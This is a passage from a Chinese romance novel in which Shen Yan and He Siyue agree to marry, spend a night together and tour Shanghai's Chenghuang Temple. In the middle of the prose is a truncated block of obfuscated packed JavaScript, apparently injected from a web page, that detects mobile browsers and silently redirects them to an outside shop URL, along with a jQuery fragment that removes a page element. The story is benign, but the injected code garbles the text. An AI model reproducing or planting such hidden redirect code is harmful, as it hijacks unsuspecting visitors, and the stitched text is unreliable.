“我什么？”沈晏打断她，“我有钱，但钱买不来你的勇敢。我有地位，但地位换不来你的善良。我有手段，但手段得不到你的真心。” 他捧着她的脸，一字一句地说：“思玥，是你让我变得更好。是你让我知道，这世上还有比赚钱更值得做的事。是你让我从一个只会算账的商人，变成一个……一个想守护些什么的人。” 何思玥的眼泪流得更凶。她抱住他，把脸埋在他肩头。 “好。”她说，“等你回来，我们就结婚。” 沈晏紧紧抱住她，手臂因为用力而微微发抖。他在她耳边轻声说：“思玥，谢谢你。谢谢你愿意给我这个机会。” 夜色渐深，星子越来越亮。阳台上，两个人相拥着，像两棵依偎的树，在秋风里，互相温暖，互相支撑。 后来他们进屋，沈晏送她到卧室门口。像往常一样，道晚安，然后各自回房。 但这一次，何思玥拉住他的手：“今晚……别走了。” 沈晏怔住了。他看着她，眼神里有惊讶，有不确定，然后慢慢变成一种深沉的温柔。 “思玥，你确定吗？” “确定。”何思玥点头，“我不想再等了。我想在你离开前，真正地拥有你，也让你拥有我。” 沈晏的喉结动了动。他握住她的手，指尖微微颤抖。 “好。”他说，声音沙哑，“但你要答应我一件事。” “什么？” “如果……如果你后悔了，随时可以喊停。”沈晏看着她的眼睛，“我要的是你心甘情愿，不是一时冲动。” 何思玥笑了。她踮起脚，在他唇上轻轻吻了一下。 “沈晏，你总是想太多。”她说，“我从来没有像现在这样清醒过。” 那一夜，窗外的梧桐叶沙沙作响，像在唱一首温柔的歌。房间里的灯光很暗，只有月光从窗帘缝隙透进来，在地上投下斑驳的光影。 他们像两个在黑暗中摸索了很久的人，终于找到了彼此。没有太多的言语，只有小心翼翼的触碰，和那些压抑了太久的、终于得以释放的情感。 结束时，沈晏抱着她，在她耳边轻声说：“思玥，从今往后，你就是我的命。” 何思玥累极了，靠在他怀里，轻声回应：“你也是我的。” 晨光透过窗帘的缝隙，洒在凌乱的床单上。 何思玥先醒来。 她睁开眼，发现自己枕在沈晏的臂弯里，他的另一只手还搭在她腰间，以一种保护的姿态。 她没动，只是静静地看着他熟睡的脸。平日里总是梳得一丝不苟的头发此刻散乱地搭在额前，下巴上有新冒出的青色胡茬，眼下的疲惫依然清晰可见。 但睡着的他，少了几分商人的精明，多了几分难得的松弛和……脆弱。 是的，脆弱。这个认知让何思玥心里微微一动。原来沈晏也不是永远坚不可摧的。 她轻轻抬起手，指尖虚虚地描摹他的眉眼。从浓密的眉毛，到紧闭的眼睛，再到高挺的鼻梁，最后停在他微抿的唇上。 就在她的指尖快要触到他的唇时，沈晏忽然睁开了眼睛。 四目相对。何思玥的手僵在半空中，脸颊微微发烫。 沈晏看着她，眼神从初醒的迷茫，慢慢变得清明，然后染上温柔的笑意。他握住她停在半空的手，拉到唇边，轻轻吻了吻她的指尖。 “早。”他的声音带着晨起的沙哑，格外低沉。 “早。”何思玥轻声回应，想抽回手，却被他握得更紧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989874|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“后悔吗？”沈晏问，眼神认真。 何思玥摇头：“不后悔。” 沈晏笑了。那笑容很舒展，像阳光终于穿透云层。他凑过来，在她额头上印下一个吻，然后才松开她，起身。 晨光里，他的背影挺拔，肩胛骨的线条在薄薄的晨衣下清晰可见。何思玥看着他走到窗边，拉开窗帘—— 金色的阳光瞬间涌进房间，照亮了空气中飞舞的微尘，也照亮了床单上那些隐秘的痕迹。 何思玥的脸一下子红了，拉起被子盖住自己。 沈晏回过头，看见她这副样子，忍不住笑了：“现在知道害羞了？” “你……”何思玥把头埋进枕头里。 沈晏走回床边，在床沿坐下，轻轻拉开被子的一角：“思玥，看着我。” 何思玥慢慢抬起头，脸颊还红着。 “我们是要结婚的。”沈晏认真地说，“这是夫妻之间最自然的事，没什么好害羞的。” 他顿了顿，补充道：“而且……我很高兴。高兴你愿意把自己交给我。” 何思玥看着他的眼睛，那里面有温柔，有珍惜，还有某种深沉的、让她心安的东西。她慢慢坐起身，靠进他怀里。 “我也是。”她轻声说，“沈晏，我也是高兴的。” 他们在晨光里静静相拥了一会儿。然后沈晏说：“今天是我在上海的最后一天了。” 何思玥的心微微一沉，但很快调整过来：“我知道。你想做什么？” “想和你在一起。”沈晏说，“做什么都行。” 最后他们决定去城隍庙。不是去烧香，是去吃小吃，看热闹，像最普通的恋人一样。 何思玥换了身简单的蓝色旗袍，头发绾成髻，别了那枚紫藤胸针。 沈晏穿了身浅灰色长衫，看起来像个儒雅的教书先生，而不是叱咤商场的沈大少爷。 城隍庙里人声鼎沸。卖小吃的摊子一个挨着一个，空气里飘着各种香气：生煎包的焦香，小笼包的鲜香，酒酿圆子的甜香，还有炸臭豆腐那独特的味道。 沈晏牵着何思玥的手，在人群中慢慢走着。他给她买糖葫芦，买梨膏糖，买刚出锅的蟹壳黄。每样都只买一点，让她尝尝味道。 “这个好吃。”何思玥咬了一口蟹壳黄，酥皮簌簌地往下掉。 沈晏伸手接住掉落的酥皮，很自然地送进自己嘴里：“嗯，是不错。” 这个动作太亲密，何思玥的脸又红了。但沈晏做得那么自然，仿佛已经这样做过无数次。 他们在一个卖泥人的摊子前停下。摊主是个老手艺人，手指翻飞间，一个个栩栩如生的泥人就成型了。 “捏个我们吧。”沈晏说。 老手艺看看他们，笑了：“好嘞。” 他取了两团泥，手指灵活地揉捏着。很快，两个小泥人就初具雏形——男的穿长衫，女的穿旗袍，手牵着手。 “像吗？”沈晏问何思玥。 何思玥仔细看着：“你比我本人好看。” “胡说。”沈晏付了钱，小心地把泥人包好，“你最好看。” 他们在城隍庙逛了一上午，中午在九曲桥边的老字号吃了午饭。吃完饭，又去湖心亭喝茶。秋日的阳光暖洋洋的，照在湖面上，波光粼粼。 “还记得我们第一次见面吗？”沈晏忽然问。 何思玥笑了：“记得。你把林老师家的青花瓷盖打碎了。” “那时候你一定觉得我是个冒失鬼。”沈晏也笑了。 “不止。”何思玥说，“还觉得你满身铜臭，傲慢无礼，对女子不尊重。” 沈晏挑眉：“现在呢？”